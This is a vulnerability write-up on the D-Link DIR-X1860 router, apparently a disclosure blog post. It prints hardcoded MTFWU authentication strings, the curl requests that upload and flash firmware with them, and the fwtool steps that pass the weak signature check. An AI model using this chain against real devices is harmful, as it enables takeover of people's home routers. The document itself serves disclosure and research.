Tale of an old write-up: hardcoded credentials to remote firmware update in consumer-grade router
In late 2021 I found a vulnerability in a consumer-grade router (D-Link’s DIR-X1860), but I never published the writeup, so I took it and modified it to make this blogpost. It describes some of the steps I went through in finding a hardcoded credentials in D-Link’s DIR-X1860, which combined with a DNS rebinding attack led to a remote firmware update vulnerability.
Initial access
After a lot of trial and error, I mananged to establish a serial connection to the device’s UART connector using a FT232H and a bit of soldering. For the speed 115200 was used:
$ sudo screen /dev/ttyUSB0 115200
Because I used to be a lousy note-taker, I do not remember how I changed the device’s
password, but I did get in via the login prompt and manage to extract the files
via SSH. dropbear
didn’t start up automatically, but it could be started from
the shell:
root@dlinkrouter:~# /usr/sbin/dropbear
Recon
After seeing that the device was running a custom version of OpenWrt, I went
ahead and looked for vulnerabilities. The most obvious place was the HTTP
server, which in the case of this device’s firmware was uhttpd
. uhttpd
describes its routes in its config file:
root@dlinkrouter:~# grep alias /etc/config/uhttpd
list alias '/HNAP1=/cgi-bin/HNAP1'
list alias '/dlcfg.cgi=/cgi-bin/HNAP1'
list alias '/dlquickvpnsettings.cgi=/cgi-bin/HNAP1'
list alias '/hnap=/cgi-bin/HNAP1'
list alias '/MTFWU=/cgi-bin/MTFWU'
/cgi-bin/HNAP1
and /cgi-bin/MTFWU
looked interesting, both paths were symlinks to binaries:
root@dlinkrouter:~# ls -al /www/cgi-bin | grep -E 'HNAP1|MTFWU'
lrwxrwxrwx 1 root root 14 Aug 18 2020 HNAP1 -> /usr/sbin/hnap
lrwxrwxrwx 1 root root 15 Aug 18 2020 MTFWU -> /usr/sbin/mtfwu
The file
utility was not available on the device, so I extracted the files via
scp
to gather some more information.
$ file hnap
hnap: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
$ file mtfwu
mtfwu: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
$ checksec --file=hnap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 hnap
$ checksec --file=mtfwu
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 mtfwu
The binaries were poorly protected. Now the question was, which one of them to focus on. I checked how they were used by grepping for their name in the web content home directory:
root@dlinkrouter:~# grep HNAP1 -r -l /www | wc -l
174
root@dlinkrouter:~# grep hnap -r -l /www | wc -l
16
root@dlinkrouter:~# grep MTFWU -r -l /www | wc -l
1
HNAP1
was the main communication point between the admin panel and
the device, and the internet showed previous vulnerabilities for D-Link devices
exposing it, but the MTFWU
binary was not used at all, even though it was exposed, so it
looked like a forgotten artifact, making for an interesting target:
// only one match in the web home directory, and it's the binary itself
root@dlinkrouter:~# grep MTFWU -r -l /www
/www/cgi-bin/MTFWU
Towards a vulnerability
I fired up Ghidra, imported mtfwu
and started digging into the code. From the
decompiler output, it was clear immediately that the binary received its input
from environment variables:
# __libc_start_main(0x401771,*(undefined4 *)register0x00000074,
# (undefined4 *)((int)register0x00000074 + 4),_init,_fini,0);
#
# contents at `0x401771`
// ...output trimmed
getenv("REQUEST_METHOD");
pcVar1 = getenv("HTTP_MTFWU_ACT");
getenv("HTTP_SOAPACTION");
pcVar2 = getenv("HTTP_MTFWU_AUTH");
getenv("HTTP_HNAP_AUTH");
pcVar3 = getenv("HTTP_COOKIE");
pcVar4 = getenv("HTTP_REFERER");
getenv("CONTENT_TYPE");
getenv("CONTENT_LENGTH");
// ...output trimmed
Which meant that the most probable way the binary interacted with the outside world was
invocations by uhttpd
with the values for the environment varibles set by it.
To confirm, I wrote a simple C program printenv.c
which printed out all its
environment variables, in order to expose it to httpd
, just like mtfwu
and hnap
:
// writes the environment variables the program was called with to /tmp/log.txt
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[], char **envp)
{
FILE *logf;
logf = fopen("/tmp/log.txt", "a+");
for (char **env = envp; *env != 0; env++) {
char *thisEnv = *env;
fprintf(logf, "%s\n", thisEnv);
}
fprintf(logf, "----------------------\n");
fclose(logf);
return 0;
}
There was no gcc
installed on the device, and I didn’t want to use qemu
, so I got the package files from the
OpenWRT download page https://downloads.openwrt.org/ases/packages-18.06/mipsel_mips32/, copied them
over via scp, and installed them to /tmp
because that was the only partition with
enough space on it:
root@dlinkrouter:~# df -h
Filesystem Size Used Available Use% Mounted on
/dev/root 11.5M 11.5M 0 100% /rom
tmpfs 120.6M 27.0M 93.6M 22% /tmp
/dev/mtdblock7 28.4M 5.0M 23.4M 18% /overlay
overlayfs:/overlay 28.4M 5.0M 23.4M 18% /
tmpfs 512.0K 0 512.0K 0% /dev
/dev/mtdblock8 8.0M 564.0K 7.4M 7% /mnt/mtd8
/dev/mtdblock8 8.0M 564.0K 7.4M 7% /etc/config/devdata
/dev/mtdblock8 8.0M 564.0K 7.4M 7% /mydlink/cert
opkg
has a destination option which installs packages in a directory, and the
/tmp
folder already had an entry:
root@dlinkrouter:~# grep ^dest /etc/opkg.conf
92 dest root /
93 dest ram /tmp
94 dest mine /tmp/mypkg
That meant that all I needed to do is copy the packages needed for gcc
via scp
:
$ scp ar_2.27-1_mipsel_24kc.ipk binutils_2.27-1_mipsel_24kc.ipk gcc_5.4.0-3_mipsel_24kc.ipk router:/tmp
root@192.168.0.1's password:
ar_2.27-1_mipsel_24kc.ipk 100% 26KB 2.6MB/s 00:00
binutils_2.27-1_mipsel_24kc.ipk 100% 1061KB 3.9MB/s 00:00
gcc_5.4.0-3_mipsel_24kc.ipk 75% 19MB 3.9MB/s 00:gcc 100% 26MB 3.9MB/s 00:06
Install them:
root@dlinkrouter:~# opkg install /tmp/ar_2.27-1_mipsel_24kc.ipk -d ram
Installing ar (2.27-1) to ram...
Configuring ar.
root@dlinkrouter:~# opkg install /tmp/binutils_2.27-1_mipsel_24kc.ipk -d ram
Installing binutils (2.27-1) to ram...
Configuring binutils.
root@dlinkrouter:~# opkg install /tmp/gcc_5.4.0-3_mipsel_24kc.ipk -d ram
Installing gcc (5.4.0-3) to ram...
Add gcc
to the PATH:
root@dlinkrouter:~# export PATH="$PATH:/tmp/usr/bin/"
root@dlinkrouter:~# which gcc
/tmp/usr/bin/gcc
And finally compile the printenv.c
program
root@dlinkrouter:~# gcc printenv.c -o printenv -I/tmp/usr/include
root@dlinkrouter:~# MY_ENV="1337" ./printenv
root@dlinkrouter:~# cat /tmp/log.txt
SSH_CLIENT=192.168.0.120 49806 22
USER=root
SHLVL=1
HOME=/root
SSH_TTY=/dev/pts/0
MY_ENV=1337
PS1=\u@\h:\w\$
LOGNAME=root
TERM=xterm-256color
PATH=/usr/sbin:/usr/bin:/sbin:/bin:/tmp/usr/bin/
SHELL=/bin/ash
PWD=/root
SSH_CONNECTION=192.168.0.120 49806 192.168.0.1 22
----------------------
Afterwards, to test my assumption that environment variables for mtfwu
invocations were set by uhttpd
,
I copied the printenv
binary to /www/cgi-bin/printenv
, added an alias in the uhttpd
config to expose the binary
list alias '/printenv=/cgi-bin/printenv'
, restarted the service, and then curl
ed the endpoint:
root@dlinkrouter:~# vim /etc/config/uhttpd # add the alias
root@dlinkrouter:~# cp printenv /www/cgi-bin/
root@dlinkrouter:~# service uhttpd restart
root@dlinkrouter:~# curl localhost/printenv
Which gave the following entry in the /tmp/log.txt
file:
// /tmp/log.txt
// ...output trimmed
PATH=/sbin:/usr/sbin:/bin:/usr/bin
HTTP_ACCEPT=*/*
HTTP_HOST=192.168.0.1
HTTP_USER_AGENT=curl/7.74.0
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=uhttpd
SCRIPT_NAME=/cgi-bin/printenv
SCRIPT_FILENAME=/www/cgi-bin/printenv
DOCUMENT_ROOT=/www
QUERY_STRING=
REQUEST_URI=/printenv
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
PATH_INFO=/printenv
REDIRECT_STATUS=200
SERVER_NAME=192.168.0.1
SERVER_ADDR=192.168.0.1
SERVER_PORT=80
REMOTE_HOST=192.168.0.120
REMOTE_ADDR=192.168.0.120
REMOTE_PORT=43924
----------------------
With that, I determined that the ENV variables were set by uhttpd
when the
mtfwu
binary was invoked. The next step was to find interesting execution
paths. Back in Ghidra, I saw that the HTTP_MTFWU_ACT
environment variable
was critical in triggering actions on the device, and that the only other variables
used were HTTP_MTFWU_ACT
, HTTP_COOKIE
and HTTP_REFERER
.
// ...output omitted
pcVar1 = getenv("HTTP_MTFWU_ACT");
// ...output omitted
pcVar2 = getenv("HTTP_MTFWU_AUTH");
// ...output omitted
pcVar3 = getenv("HTTP_COOKIE");
pcVar4 = getenv("HTTP_REFERER");
// ...output omitted
iVar5 = strcmp(pcVar1,"FWUpload");
// ...output omitted
iVar5 = strcmp(pcVar1,"Login");
// ...output omitted
iVar5 = FUN_004088f0(pcVar3,pcVar2,pcVar1);
// ...output omitted
iVar5 = strcmp(pcVar1,"Reboot");
// ...output omitted
iVar5 = strcmp(pcVar1,"FactoryDefault");
// ...output omitted
iVar5 = strcmp(pcVar1,"GetDevInfo");
// ...output omitted
iVar5 = strcmp(pcVar1,"MTFWUActSupportList");
// ...output omitted
iVar5 = strcmp(pcVar1,"FWUpdate");
Checking the code further, I saw that the FWUpload and FWUpdate actions were protected by
a function (FUN_004088f0
) which checked for HTTP_MTFWU_ACT
, HTTP_MTFWU_AUTH
and HTTP_COOKIE
.
At this point, it seemed to make sense to understand the function which looked like an
authentication mechanism (i.e. FUN_004088f0
), so I checked what was strcmp
ed and noticed that
there weren’t too many spots to understand. So I reached to the old LD_PRELOAD
method in which C standard library functions can be overwritten and wrote my own
version of strcmp
:
#include <stdio.h>
#include <unistd.h>
int strcmp(const char *X, const char *Y) {
while(*X) {
if (*X != *Y)
break;
X++;
Y++;
}
int result = *(const unsigned char*)X - *(const unsigned char*)Y;
printf("strcmp(\"%s\", \"%s\") -> %d\n", X, Y, result);
return result;
}
Compiled it into a shared library:
root@dlinkrouter:~# gcc preload_strcmp.c -o preload_strcmp.so -fPIC -shared -I/tmp/usr/include
After which I used it to invoke mtfwu
:
root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="GetDevInfo" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu
strcmp("GetDevInfo", "FWUpload") -> 1
strcmp("", "") -> 0
strcmp("GetDevInfo", "Login") -> -5
strcmp("strobj.c", "xstream.c") -> -5
strcmp("", "") -> 0
strcmp("", "") -> 0
strcmp("", "") -> 0
strcmp("1234", "2DD52F75FCBC24849445C4F56099351F") -> -1
HTTP/1.1 301 Moved Permanently
Location: (null)
The line comparing 1234
with a long random-looking string looked interesting. An open question was: what
happens if a value for HTTP_MTFWU_AUTH
is set to the magic string 2DD52F75FCBC24849445C4F56099351F
?
The answer was that XML was printed to stdout:
root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="GetDevInfo" HTTP_MTFWU_AUTH="2DD52F75FCBC24849445C4F56099351F" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | tail -24
strcmp("", "") -> 0
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="utf-8"?>
<Device_Information>
<Firmware_External_Version>V</Firmware_External_Version>
<Firmware_Internal_Version>V</Firmware_Internal_Version>
<Model_Name>DIR-X1860</Model_Name>
<Hardware_Version>A1</Hardware_Version>
<Country_Code>EU</Country_Code>
<Language></Language>
<LAN_MAC>c4:e9:0a:1d:ce:0c</LAN_MAC>
<WAN_MAC>c4:e9:0a:1d:ce:0d</WAN_MAC>
<LAN_MAC_2.4G>c4:e9:0a:1d:ce:0e</LAN_MAC_2.4G>
<LAN_MAC_5G>c4:e9:0a:1d:ce:10</LAN_MAC_5G>
<LAN_MAC_5G_Low>c4:e9:0a:1d:ce:10</LAN_MAC_5G_Low>
<LAN_MAC_5G_High></LAN_MAC_5G_High>
<SSID_2.4G>dlink-CE0C</SSID_2.4G>
<SSID_5G>dlink-CE0C-5GHz</SSID_5G>
<SSID_5G_Low>dlink-CE0C-5GHz</SSID_5G_Low>
<SSID_5G_High></SSID_5G_High>
<Reboot_Time>120</Reboot_Time>
<Factory_default_Flag>FALSE</Factory_default_Flag>
</Device_Information>
Now I got the idea to see if FWUpload
and FWUpdate
had their own magic
strings, which they did:
root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="FWUpload" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | grep 1234
strcmp("1234", "9BA77AB05965C810F9D18A6772765BCD") -> -8
root@dlinkrouter:~# LD_PRELOAD=./preload_strcmp.so HTTP_MTFWU_ACT="FWUpdate" HTTP_MTFWU_AUTH="1234" HTTP_COOKIE="uid=1337" /usr/sbin/mtfwu | grep 1234
strcmp("1234", "F7A51EB8D26CD2E051E7CB5D8B3BAA5B") -> -21
Doing the same check via the exposed HTTP routes confirmed that the magic strings unlocked functionality:
$ curl -H'MTFWU_ACT: GetDevInfo' -H'MTFWU_AUTH: 2DD52F75FCBC24849445C4F56099351F' -H'COOKIE: uid=1337' 192.168.0.1/MTFWU | grep Model
<Model_Name>DIR-X1860</Model_Name>
Which meant that an HTTP request with FWUpload
and its magic string allowed to upload a firmware file:
$ curl -v -H'MTFWU_ACT: FWUpload' -H'MTFWU_AUTH: 9BA77AB05965C810F9D18A6772765BCD' -H'COOKIE: uid=1234' 192.168.0.1/MTFWU -F'data=@firmware.bin'
<?xml version='1.0' encoding='utf-8'?>
<MTFWUResponse>
<result>OK</result>
<message></message>
</MTFWUResponse>
And that FWUpdate
with its magic string allowed to upgrade the device to the firmware uploaded previously:
$ curl -H'MTFWU_ACT: FWUpdate' -H'MTFWU_AUTH: F7A51EB8D26CD2E051E7CB5D8B3BAA5B' -H'COOKIE: uid=1234' 192.168.0.1/MTFWU
<?xml version='1.0' encoding='utf-8'?>
<MTFWUResponse>
<result>OK</result>
<message></message>
</MTFWUResponse>
There were three open questions left. One, did these magic authentication strings
change whenever the user changes the device password? The answer was no, they
did not, I found no way to trigger an action which changes these magic strings
via the web interface. Two, were these magic strings device specific? The answer again was no,
I purchased a second identical device for testing and the strings worked as
well. And third, was there any type of integrity check done on the firmware
file, or was it possible to upgrade to a modified version? To answer this
question, I turn back to our decompiled mtfwu
binary.
Part of the logic inside the function handling the FWUpgrade
action looked like so:
// `/tmp/firmware.seama` is where the firmware file lands after `FWUpdate`
iVar5 = access("/tmp/firmware.seama",0);
if (iVar5 == 0) {
FUN_00403f34(iVar4,"%s","runtime.device.fw_sign");
iVar5 = FUN_0040220c(iVar4);
if (iVar5 == 1) {
FUN_00402190(iVar2,"ERROR");
pcVar7 = "ERROR_NoDeviceSignature";
}
else {
memset(acStack2068,0,0x400);
uVar6 = FUN_00401ff0(iVar4);
FUN_00401ae0(acStack2068,0x400,"encimg -i %s -s %s -d -p 2> /dev/null; echo $?",
"/tmp/firmware.seama",uVar6);
iVar5 = strcmp(acStack2068,"0");
if (iVar5 == 0) {
memset(acStack1044,0,0x400);
FUN_00401ae0(acStack1044,0x400,"sh /etc/scripts/fw_check.sh %s","/tmp/firmware.seama",uVar6)
;
iVar5 = strcmp(acStack1044,"0");
The important bits were the calls to encimg
and fw_check.sh
.
From the help message of the encimg
tool, I could infer that encimg
handles the encrytion
and decryption of the firmware:
root@dlinkrouter:~# encimg
No signature specified!
Usage: encimg {OPTIONS}
-h : show this message.
-v : Verbose mode.
-i {input image file} : input image file.
-o {output image file} : output image file.
-e : encode file.
-d : decode file.
-s : signature.
With a bit of looking around, I found the so-called signature:
root@dlinkrouter:~# cat /rom/etc/alpha/fw_sign
wrgax10_dlink_dirx1860
And I tested that it works by downloading a firmware file from D-Link’s homepage and
checking the shasums before and after running them through encimg
. One
important detail was the encryption and decryption happened in-place, which
meant that the input file changed after execution:
root@dlinkrouter:~# sha256sum /tmp/myfirmware.bin
47c7aff5795c33f33307ae85b90628a49dd0d31334a5a6eb81a3acd00218bd28
root@dlinkrouter:~# encimg -i /tmp/myfirmware.bin -s wrgax10_dlink_dirx1860 -d -p
root@dlinkrouter:~# encimg -i /tmp/myfirmware.bin -s wrgax10_dlink_dirx1860 -e -p
root@dlinkrouter:~# sha256sum /tmp/myfirmware.bin
47c7aff5795c33f33307ae85b90628a49dd0d31334a5a6eb81a3acd00218bd28
Having a reliable way of decrypting and encrypting firmware images was good, but
there still was fw_check.sh
to worry about. It turned out that it was a poorly
implemented firmware signature check:
root@dlinkrouter:~# cat /etc/scripts/fw_check.sh
#Check signature and checksum of upload firmware
#If checksum of upload firmware is wrong, the action "fwtool -q -i ..." would fail.
. /usr/share/libubox/jshn.sh
if ! fwtool -q -i /tmp/sysupgrade.meta "$1"; then
echo -1
else
json_load "$(cat /tmp/sysupgrade.meta)"
json_select alpha
json_get_var upload_fw_sign fw_sign
echo "$upload_fw_sign" > /var/run/upload_fw_sign
curr_fw_sign="`cat /rom/etc/alpha/fw_sign`"
if [ "$upload_fw_sign" == "$curr_fw_sign" ]; then
echo 0
else
echo -2
fi
To “sign” a firmware, it sufficed to use fwtool
to attach a JSON file which contained the key
"alpha"
with the correct value for "fw_sign"
:
$ echo '{"metadata_version": "1.0", "supported_devices":["abc","xyz"], "version": { "dist": "OpenWrt", "version": "SNAPSHOT", "revision
": "r11618-416d2cc71e", "target": "TARGET/SUBTARGET", "board": "xyz"}, "alpha": {"fw_sign": "wrgax10_dlink_dirx1860"}}' > /tmp/firmware.seama
$ fwtool -i /tmp/firmware.seama /tmp/fw103a.zip
With that, I had a way to update the device’s firmware with a modified one using two HTTP requests. A colleague suggested I try out a DNS rebinding attack, which also worked making this a remote vulnerability.
Afterthoughts
Don’t be stupid, take extensive notes!
Hunting for bugs is an emotional rollercoaster.
Giving a talk at a conference for a bug you found is an amazing experience.
Shoutouts
- Fabs: for encouragement and guidance
- Bernhard: for the idea of trying out a DNS rebinding attack
- Niko: for the idea of focusing on IoT as initial targets
- Alex Denisov: for helping me get into security
- Tester: for helping me get into security